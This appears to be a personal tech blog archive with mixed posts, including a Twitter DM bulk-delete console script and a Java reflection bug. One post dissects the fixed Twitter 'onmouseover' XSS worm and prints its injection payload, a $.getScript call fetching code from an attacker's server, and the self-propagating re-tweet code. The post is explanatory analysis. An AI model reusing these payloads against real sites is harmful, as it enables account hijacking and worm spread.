Die Technik bei Pro7’s “Keep Your Light Shining” – ein Kommentar

Gleich 2 deutsche TV-Sender haben in diesem Monat neue TV-Formate an den Start gebracht. Was so besonders daran ist? Sie binden die TV-Zuschauer überaus interaktiv und umfangreich über das Internet in’s Geschehen der Sendung ein.

Zum einen war da das Quizduell. Die ARD hatte den Vortritt… und hat gleich mal in’s Klo gegriffen. “Ein Hackerangriff”, so hieß es, habe die Server lahmgelegt. Im Nachhinein ist allerdings gar nicht so klar, ob es sich nicht doch nur um die zu erwartende hohe Last einer TV-Livesendung gehandelt hat. Besonders zu betonen ist allerdings, dass alle Beteiligten den Fail sportlich und mit Humor genommen haben. So kann ich jemandem einen solchen Fehltritt auch gerne verzeihen, ist ja schließlich alles #Neuland 😉 Etwa eine Woche später war dann technisch alles behoben und die Show konnte wie geplant mit Beteiligung der Internet-Nutzer stattfinden.

Heute waren dann die privaten Sender an der Reihe. Vertreten durch Pro7 mit der Musik-Show “Keep Your Light Shining”. Aus Spaß und Neugier habe ich heute tatsächlich mal eine app an mein Facebook-Profil gelassen und per Browser mitgemacht.

Ich war von der Technik von Anfang an begeistert. Wie die Entwickler es hinbekommen haben, die Web-Applikation so synchron zum TV-Bild zu halten ist wirklich bemerkenswert. Die Show funktioniert so: Es wird in jeder Runde ein Lied gesungen. Von allen Kandidaten abwechselnd, im 30-Sekunden Takt. Die Webseite aktualisierte bei jedem Kandiaten-Wechsel die Anzeige entsprechend… und das, zumindest für mich, fast auf die Sekunde genau synchron zum TV-Bild. Komplett in HTML5, ganz ohne Audio-Watermarking und sogar ohne WebSockets.

Da ich in dem Bereich ja kein ganz unbeschriebenes Blatt bin, habe ich mir während der Sendung die von Pro7 eingesetzte Technik mal etwas genauer angeschaut und ein paar best practices abgeleitet 🙂

Als View-Layer wurde Facebook’s React eingesetzt. Damit wurde die Mechanik der Applikation größtenteils im Voraus in JavaScript programmiert. Eine JSON Konfigurations-Datei hat der Applikation die Kandidaten der Woche mit allen Details wie Name, Bilder usw. mitgeteilt (so muss nur diese eine Datei für die nächste Episode der Sendung ausgetauscht werden). Es sind also in erster Linie eine handvoll statischer Resourcen involviert gewesen: die kleine HTML-Datei, React selbst, die KYLS-JavaScript-Applikation, die JSON Kandidaten-Konfiguration, ein bisschen CSS und ein paar Bilder wurden via Amazon’s CloudFront verteilt. Durch dieses hochperformante CDN ist das Ausliefern der statischen Resourcen kein Problem.

Bleibt noch die Synchronisation und das tatsächliche Voting.

Die Synchronisation wurde, soweit ich das beurteilen konnte, durch “stinknormales” 10-Sekündiges Polling realisiert. Zu erwähnen ist hier, dass beim Polling auf jedes Byte geachtet wurde: Übertragen wurde ein JSON-Objekt mit ein-buchstabigen keys und nur numerischen IDs und arrays als Werten. Das JSON Polling übermittelt den Stand der Sendung (aktuelle Runde, wer in dieser Runde noch drin ist, wer gerade singt,…) an die React Applikation. Was hier auf Serverseite verwendet wurde, kann ich natürlich nicht wissen. Ich weiss nur, dass sich als Webserver ein “Apache” gemeldet hat, und dass auch bei dieser Applikation auf Amazon’s Cloud gesetzt wurde. Per DNS RoundRobin kamen gut drei Dutzend Amazon-Server rein (danach habe ich mit Anfragen aufgehört ;)) – die Cloud halt. Mich würde aber wirklich interessieren, was hier serverseitig für die Persistenz bzw. als Datenstore genommen wurde…

Das Voting, also Daumen-Hoch oder Daumen-Runter Clicks, wurde, ähnlich wie das Polling, mit einem eigenständigen XMLHttpRequest an die Amazon-Server realisiert. Dieser beinhaltete die Runde und die Kandidaten-ID als URL Parameter. Ich vermute, die eindeutige User-ID (vom Facebook-Konto) war in irgendeiner Form in den Cookies enthalten. Keine Magie, alles straight forward.

Fazit: so viel wie möglich statisch machen, möglichst kein dynamisches HTML auf Serverseite rendern sondern JS-Client-Libraries wie React verwenden, den statischen Content cachen und auf CDN’s setzen, skalierbare Applikationsserver (zB Amazon’s Cloud) für Interaktionen verwenden, bei Live-Updating/Polling jedes Byte sparen.

Mir hat die Sendung jedenfalls aus technischer Sicht, Spaß gemacht! Ich bin gespannt was für Internet-Formate sich die Sender weiterhin so ausdenken, was davon technisch hinhaut, und wie es gebaut sein wird 🙂

Advertisement

How to delete entire twitter conversations (direct messages)?

I recently wanted to delete a massive twitter conversation with thousands of messages. To my surprise, there’s no way to delete a whole conversation with a single click in the Twitter.com Web GUI. The Twitter MacOS App has a “Delete Conversation” entry in a conversation’s context menu, but that just removes it from the Gui. Restarting the app shows that it is, in fact, still present.

My guess is that their Message storage doesn’t allow efficient deletion of conversations. But what if I _really_ want to get rid of them?

An option is to search for these services… you know… those shady ones that claim they can do the job for you, want access to your twitter account and, after you have granted them full access, ask you to take out your wallet and pay if you _really_ want them to help you. Well, F such a business model. Seriously.

There’s an easier, much safer way to delete entire conversations and guess what: I’ll tell it to you for free!

Okay, here’s what you do:

1. Open Chrome (we’ll need the developer console. Other browsers might work, too, but I use Chrome, so I’m gonna stick with it here)
2. Log in to twitter and go to your “Me” page

   https://twitter.com/<yournick>

3. Open your messages (the button with the envelope) and select the conversation you want to delete. You now have the conversation-to-be-deleted in front of you.
4. Open the JavaScript Developer console (Command+Alt+J on Chrome / MacOS)
5. Paste the following JavaScript into the console and press enter:

   $('#global-actions').append($('<li id="del-script">').append($('<a class="js-nav">"').text('...')));
   window.delscrpt = setInterval(function() {
     $('.js-dm-error:visible').each(function() { $('a.js-dismiss', this).click(); });
     var count = $('.js-dm-delete').length;
     if (count < 3) {
       $('#del-script a').text('Del Done.');
       clearInterval(window.delscrpt);
       return;
     }
     var randIdx = Math.floor((Math.random()*count)+1);
     $('#del-script a').text('Del ' + randIdx + '/' + count);
     $('.js-dm-delete').eq(randIdx).click();
     $('.dm-delete-confirm .js-prompt-ok').each(function() { $(this).click(); });
   }, 2000);

6. Sit back, relax and watch your conversation disappear one message at a time.

DISCLAIMER:

• Don’t expect any support. Use at your own risk. I think this should be pretty obvious 😉
• This method works by directly manipulating the HTML DOM of the twitter page (remote controlling the GUI if you will). It works for now (mid-September 2013), but if twitter changes their homepage, this method will die. Keep that in mind.
• The deletion might take some time. We don’t want to hammer the twitter servers and get our account blocked after all 😉
• Twitter has some major issues with message deletion (internal server error’s and stuff). That’s why we can’t delete messages in order and have to delete them randomly until the conversation is empty. You can’t just delete parts of a conversation. You’ve been warned.
• The script will stop when less than 3 messages are left in the conversation, in order not to bug out. You’ll have to spend the 10 seconds and delete these last messages manually.
• The script displays some numbers in the twitter navigation bar (in the background). The first number is the index of the randomly selected message that’s being deleted from within the returned message list. The second is the total number of messages currently returned by the twitter servers. This total number doesn’t represent the “real” number of left-over messages all the time. That’s just because of the way twitter works and spits out your messages… Non-deterministic NoSQL and stuff…

Hope it’s useful to anyone 🙂

Eclipse: “Insufficient access privileges to apply this update”

If you’re trying to update your Eclipse on your magnificent Windows box* through the integrated update mechanism, and are seeing “Insufficient access privileges to apply this update” when you try to select an element, just run Eclipse with admin privileges and it should go through.

To quickly run Eclipse with admin privileges: open the start menu, search for “Eclipse”, point to it and run it with CTRL+SHIFT+Enter.

* WARNING: Irony

Take it with humor :)

Today, I crawled a pile of old eMails and found 2 special-looking ones. They were from a well-known software company. Here’s the First one:

Confirmation [company event] 2011

Dear Mike,

We hereby confirm your registration for the [company event]. Below you will find some useful information about the event.

DATE […]
VENUE […]
ROUTE […]

REGISTRATION
Please print this confirmation and present it at the registration counter.

AGENDA
Registration starts at 8:00 AM. Coffee and tea will be available. The first session starts at 9:30 AM. The final session ends at 5:00 PM. […]

DRESS CODE
Business or business casual.

We are looking forward welcoming you at the [company event].

Kindest regards,
The [company event] Team

Of course, I never registered for that conference, but I must have an account on their website for them to have my email address… I guess… Well, here’s the second eMail from them, sent only about two and a half hours after:

Dear Mike,

We sent you a confirmation email for the [company event] in error. Please ignore this email as you did not register for this event.

We apologize for the inconvenience.

Kind regards,
The [company event] Team

Well, not a big deal to me, these things happen. But as it’s such a good weather today and I’m in a pretty good mood (despite me having to get back to work tomorrow after a week off), I answered their second mail… with a bit of humor 🙂

Dear [company event] Team,

Oh dear! What a terrible mistake… I was so looking forward to participating in the event after I got your first mail… Not only was it quite a letdown when I got the second one, but I also had to cancel my flight, the baby- dog- and fish-sitters and get all the food I’d need to stay at home, frustrated, knowing you just virtualized my forum attendance…

Don’t you think I’d deserve a [company product] license for the caused inconvenience? 😉

Best regards,
Mike

… looking forward to hearing from them 😀

Note: Used square brackets to anonymize the company, as accusing them isn’t the goal of this post 😉

My ESC 2011 Top 10

It’s been awhile since I last took the time to write a piece of text longer than 140 chars 😛 So let’s take the Eurovision Song Contest (ESC) 2011 as an occasion to update my blog.

Yah, I know, there’s some controversy around the contest, “European Neighbor Contest” etc, and honestly, I hadn’t even planned watching it this year. But what can I say, it got me again. I guess, being a musician myself, there’s no way around the biggest European music event anyway. So I watched (at least a major part of) it live and got myself the album afterwards.

After listening to it a couple of times, I gotta say there were a whole bunch of great songs in the contest this year. An accurate Top10 list is almost impossible to compile, but since Top10 lists are so popular on the internetz, I made an effort. So here’s my personal ESC 2011 Top10 (based solely on the songs themselves, not the live performances nor the YT-Videos):

1. Coming Home / Sjonni’s Friends (Iceland) [YT]
2. In Love For A While / Anna Rossinelli (Switzerland) [YT]
3. New Tomorrow / A Friend In London (Denmark) [YT]
4. The Secret Is Love / Nadine Beiler (Austria) [YT]
5. Running Scared / Nikki & Ell (Azerbaijan) [YT]
6. Never Alone / 3JS (The Netherlands) [YT]
7. Change / Hotel FM (Romania) [YT]
8. Que Me Quiten Lo Bailao  / Lucia Perez (Spain) [YT]
   [Strong contestant for the Summerhit-2011 Title btw!]
9. One More Day / Eldrine (Georgia) [YT]
10. Da Da Dam / Paradise Oskar (Finland) [YT]

 

The Twitter “mouseover” hack – here’s how! [Update]

This article is mainly about the worm, not about the spam, but the mechanisms are similar.

First off, it wasn’t me. No, seriously. I just investigated after the fact to find out how such a huge flaw could have been possible and to find out what errors _not_ to do in my next web project. You’ll need some basic html/javascript/common sense knowledge to follow me here but I’ll try to keep it simple 😉

Step1: The breach

Apparently, there is was (it’s fixed now) a bug in the twitter website when it came to transforming tweet text that looks like a link, to an actual link you can click on. This code has to identify text starting with “http://” like “http://twitter.com” and transform it to an actual link, which, in HTML, looks something like:

<a href="http://twitter.com">http://twitter.com</a>

The bug was that twitter didn’t recognize the end of a link properly. By inserting @" at the end of a legit URL, an attacker was able to escape the href attribute and inject code into the HTML code the twitter engine made out of his URL. Once you’re able to inject code into a website, hell’s doors are open. To the browser, it looks like twitter put that code there. Boom!

So for example by putting the link:

http://foo.bar/@"alt="google.com"

in a tweet, an attacker woulld have made the twitter engine generate the following HTML:

<a href="http://foo.bar/@"alt="google.com"> ...


Which, in this harmless case, would have printed a link to foo.bar with a hover label of “google.com”.

Step 2: Loading evil code

However, to do evil things, an attacker would need more than 140 chars worth of code. Therefore, he needed to load additional evil code. Here’s how:

So the attacker was able to inject code inside an HTML link. The thing is that HTML allows an “onmouseover” attribute in a link element, which executes javascript code when the mouse is hovered over that link.

Looking at the twitter HTML source, anyone interested can learn that they use the JQuery javascript framework. This framework is loaded into the twitter page anyway, so the attacker was able to happily use this framwork’s functions. To his great pleasure, the framework has a function called $.getScript(url) which loads javascript code from the specified URL.

By using this function in combination with the onmouseover attribute, the attacker was able to load additional evil code from his own server. This code got immediately executed by the browser.

Step 3: Spreading the word

The key to success for any worm is spreading the word (a.k.a. sending itself to the max ppl it can).

Since the attacker has control over a user’s twitter site anyway, he can control his browser to put the same maliciously crafted link that started the whole story into the controlled user’s status update box and pushing the “tweet” button. This is amazingly simple in javascript using JQuery and knowing twitter’s HTML source:

$('#status').val("http://t.co/@"onmouseover="$.getScript(my_javascript_link)"/");
$('.status-update-form').submit();

That’s it.

Step 4: Do it with style

OK the basics are set up. Now let’s add some style. There are a couple of things the attacker can improve:

First of all, the user would still have to hover over the link for the hack to fire, since the attack relies on the execution of “onmouseover”. To maximize the chance the user hovers over the actual link, let’s just print the link in a HUGE font size, filling up all the browser so the attacker can be SURE the mouse will hover over it. Since we control the HTML displaying the link, we can just put the following in:

style="font-size:999999999999px;"

Done.

Next, the short URL. A tweet has 140 chars so the attacker needed a URL shortening service to point to his malicious javascript file. In this concrete case, he used is.gd. Actually, is.gd is really gd because they were reasonably fast at disabling the redirection, which helped stop spreading the worm. The attacker would’ve been better off registering its own controlled, short, domain… but who am I to give such tips 😛

Finally, some mockery. Instead of using any insignificant URL, the attacker used t.co, which is twitter’s own controversially discussed URL shortening service they introduced claiming it would enhance security for twitter users, really stylish, isn’t it? 😀

Hope you’ve enjoyed reading how it’s done, and avoid Cross-Site-Scripting ppl! 🙂

[Update: Twitter put out an official statement about the issue which is, of course, a lot less technical than my analysis 😉 : http://blog.twitter.com/2010/09/all-about-onmouseover-incident.html ]

iPhone 4 Day

So it’s that day again: An Apple iPhone launch day in Belgium! As you may or may not remember, I was first in line to get my iPhone 3G 2 yars ago. After letting the 3GS pass last year (on purpose ;-)), and with 2 years of raising Apple-awareness, would I be lucky enough to repeat the success??

I knew that getting an iPhone4 was going to be way hotter than getting the iPhone 3G back in the day. However, I didn’t want to camp there the day before. So here’s my journey.

Devoxx 09 Schedule Overview

If, like me, you’re attending the Devoxx ’09 conference next week and are preparing your personal schedule, you might need a consolidated overview over what’s happening where at any given time.

Although the sessions and talks are listed on the Devoxx 09 website, it lacks such a bird’s-eye view IMHO. I created an Excel sheet containing everything you need to plan your week so you don’t miss any talk you’re interested in.

The file can be downloaded here:

• Devoxx09 Schedule Overview (XLS)
• Devoxx09 Schedule Overview (PDF)

See ya @ Dexovv 09! 🙂

Trouble with Java invocations using reflection

The WTF

In a mocked UnitTest, I created a mock on a logger interface to control its invocations. However, in addition to that, I wanted to reach every invocation through to a _real_ log4j backend of that logger interface since those log messages could contain information needed to find errors…

The idea is to lookup the invoked methods on the _real_ logger using reflection, so I don’t have to adapt the testCase whenever I change the log interface, it is just passing through anyway, right? I left polymorphism out of the mix to simplify the code (I don’t use polymorphism in log interfaces anyway).

Compilation is absolutely fine but at rumtime I got:

java.lang.IllegalArgumentException: argument type mismatch

Can you spot the error?

public Object execute(String invokedMethod, List parameterValues) throws Exception {
    // Invoke the method on the real logger
    MyLogger realLogger = new MyLoggerLog4jBackend();
    Method[] methods = realLogger.getClass().getMethods();

    // Ignore polymorphism in method lookup for now...
    Method method = null;
    for (int i = 0; i < methods.length && method == null; i++) {
        if (methods[i].getName().equals(invokedMethod)) {
            method = methods[i];
        }
    }

    if (method != null) {
        method.invoke(realLogger, parameterValues);
    }
}

Oh yes, the parameter of the invocation at runtime is actually a java.lang.IllegalArgumentException and MyLogger looks something like:

public interface MyLogger {

    [.. other irrelevant methods...]

    void fatalError(Exception e);

}

The Solution

It’s the invocation in itself:

method.invoke(realLogger, parameterValues);

If you take a close look at the invoke method’s declaration, you’ll see it’s:

public Object invoke(Object obj, Object... args);

But since parameterValues is a java.util.List, it used that list as a parameter in itself instead of unwrapping it! And since java.util.List and java.lang.Exception are not type compatible, boom!

5 things 4 Things

As mentioned in my previous posts, I chose Cultured Code’s Things as my GTD tool. The Mac / iPhone combination makes it really versatile and after about a month of using it, I’m still loving it. Therer are, however, a bunch of improvements required for Things to become truly great. These are the 5 features I consider “must have”s. Everything else would just be “nice to have”s to me as of writing.

I proposed these features directly to Cultured Code. Since I want to share the ideas with you and maybe even get some reader feedback (a man can dream, can’t he?), here’s a copy of the eMails I sent to them (most important first).